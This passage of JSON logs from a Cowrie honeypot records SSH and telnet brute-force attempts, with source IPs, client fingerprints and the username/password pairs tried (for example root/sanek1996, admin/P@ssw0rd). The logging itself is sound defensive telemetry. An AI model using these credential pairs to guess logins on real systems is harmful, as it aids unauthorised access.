16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:32.507021Z","src_ip":"159.65.58.200","session":"f80734ed5f3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sofiia","password":"123456","message":"login attempt [sofiia/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:33.817108Z","src_ip":"159.65.58.200","session":"f80734ed5f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:35.199862Z","src_ip":"159.65.58.200","session":"f80734ed5f3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":41662,"dst_ip":"10.17.0.5","dst_port":22,"session":"cca4c5eb9895","protocol":"ssh","message":"New connection: 103.77.242.62:41662 (10.17.0.5:22) [session: cca4c5eb9895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:39.068967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:39.073101Z","src_ip":"103.77.242.62","session":"cca4c5eb9895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:39.309356Z","src_ip":"103.77.242.62","session":"cca4c5eb9895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sanek1996","message":"login attempt [root/sanek1996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:40.017910Z","src_ip":"103.77.242.62","session":"cca4c5eb9895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:41.256372Z","src_ip":"103.77.242.62","session":"cca4c5eb9895","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.111.155","src_port":50438,"dst_ip":"10.17.0.5","dst_port":22,"session":"c585bcd76f24","protocol":"ssh","message":"New connection: 101.36.111.155:50438 (10.17.0.5:22) [session: c585bcd76f24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:41.536459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:41.542960Z","src_ip":"101.36.111.155","session":"c585bcd76f24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:41.763269Z","src_ip":"101.36.111.155","session":"c585bcd76f24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123#","message":"login attempt [root/Huawei123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:42.677960Z","src_ip":"101.36.111.155","session":"c585bcd76f24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.84952211380005,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:43.389342Z","src_ip":"170.64.224.25","session":"402078f559b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:43.899514Z","src_ip":"101.36.111.155","session":"c585bcd76f24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.205.74","src_port":33186,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd5da9c8b19f","protocol":"ssh","message":"New connection: 161.35.205.74:33186 (10.17.0.5:22) [session: bd5da9c8b19f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:56.404916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:56.607629Z","src_ip":"161.35.205.74","session":"bd5da9c8b19f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:56.688243Z","src_ip":"161.35.205.74","session":"bd5da9c8b19f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak321","message":"login attempt [teamspeak/teamspeak321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:57.336704Z","src_ip":"161.35.205.74","session":"bd5da9c8b19f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:11:58.464672Z","src_ip":"161.35.205.74","session":"bd5da9c8b19f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45884,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bd7846dc60b","protocol":"telnet","message":"New connection: 170.64.224.25:45884 (159.203.135.109:23) [session: 5bd7846dc60b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:12:05.674894Z"}
{"eventid":"cowrie.session.closed","duration":40.22811579704285,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:12:45.902869Z","src_ip":"170.64.224.25","session":"5bd7846dc60b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.252.20.159","src_port":36486,"dst_ip":"159.203.135.109","dst_port":22,"session":"bda60497dc82","protocol":"ssh","message":"New connection: 99.252.20.159:36486 (159.203.135.109:22) [session: bda60497dc82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:12:50.607678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:12:50.610260Z","src_ip":"99.252.20.159","session":"bda60497dc82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:12:50.644115Z","src_ip":"99.252.20.159","session":"bda60497dc82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mumbai","password":"Mumbai#Crypto$P@ss!99","message":"login attempt [mumbai/Mumbai#Crypto$P@ss!99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:12:50.728669Z","src_ip":"99.252.20.159","session":"bda60497dc82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:12:51.767286Z","src_ip":"99.252.20.159","session":"bda60497dc82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.203.232","src_port":46232,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1616acb523c","protocol":"ssh","message":"New connection: 38.242.203.232:46232 (10.17.0.5:22) [session: c1616acb523c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:12:59.013275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:12:59.017021Z","src_ip":"38.242.203.232","session":"c1616acb523c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:12:59.109588Z","src_ip":"38.242.203.232","session":"c1616acb523c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"convex","password":"convex123","message":"login attempt [convex/convex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:12:59.379124Z","src_ip":"38.242.203.232","session":"c1616acb523c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:00.471714Z","src_ip":"38.242.203.232","session":"c1616acb523c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.155.138","src_port":37414,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2e92c89605d","protocol":"ssh","message":"New connection: 132.148.155.138:37414 (10.17.0.5:22) [session: a2e92c89605d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:10.181118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:10.185807Z","src_ip":"132.148.155.138","session":"a2e92c89605d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:10.264873Z","src_ip":"132.148.155.138","session":"a2e92c89605d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arweave","password":"arweave123","message":"login attempt [arweave/arweave123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:10.465572Z","src_ip":"132.148.155.138","session":"a2e92c89605d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:11.535660Z","src_ip":"132.148.155.138","session":"a2e92c89605d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":53066,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a96d6f3ff97","protocol":"ssh","message":"New connection: 2.57.122.209:53066 (10.17.0.5:22) [session: 1a96d6f3ff97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:17.776329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:18.103741Z","src_ip":"2.57.122.209","session":"1a96d6f3ff97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:18.109421Z","src_ip":"2.57.122.209","session":"1a96d6f3ff97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd","message":"login attempt [admin/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:19.573434Z","src_ip":"2.57.122.209","session":"1a96d6f3ff97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:20.866107Z","src_ip":"2.57.122.209","session":"1a96d6f3ff97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":58612,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0a2c9e90514","protocol":"ssh","message":"New connection: 194.59.206.2:58612 (10.17.0.5:22) [session: b0a2c9e90514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:21.234288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:21.238602Z","src_ip":"194.59.206.2","session":"b0a2c9e90514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:21.324038Z","src_ip":"194.59.206.2","session":"b0a2c9e90514","protocol":"ssh"}
